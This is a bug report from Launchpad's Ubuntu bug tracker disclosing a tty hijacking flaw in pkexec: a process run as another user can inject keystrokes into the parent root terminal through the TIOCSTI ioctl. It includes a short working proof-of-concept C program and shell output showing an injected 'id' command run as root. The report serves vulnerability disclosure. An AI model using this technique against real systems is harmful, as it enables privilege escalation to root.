Public bug reported:
When executing a program via "pkexec --user nonpriv program" the nonpriv
session can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" CVE-2005-4890 by calling setsid() and in
"sudo" by using the "use_pty" flag.
$ cat test.c
#include <sys/ioctl.h>
int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
}
$ gcc test.c -o test
$ id
uid=1000(saken) gid=1000(saken) groups=1000(saken)
# pkexec --user saken ./test ----> last command i type in
id
# id ----> did not type this
uid=0(root) gid=0(root) groups=0(root)
** Affects: policykit-1 (Ubuntu)
Importance: Undecided
Status: New
--
You received this bug notification because you are a member of Ubuntu
Bugs, which is subscribed to Ubuntu.
https://bugs.launchpad.net/bugs/1535768
Title:
pkexec tty hijacking via TIOCSTI ioctl
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/policykit-1/+bug/1535768/+subscriptions
--
ubuntu-bugs mailing list
[email protected]
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
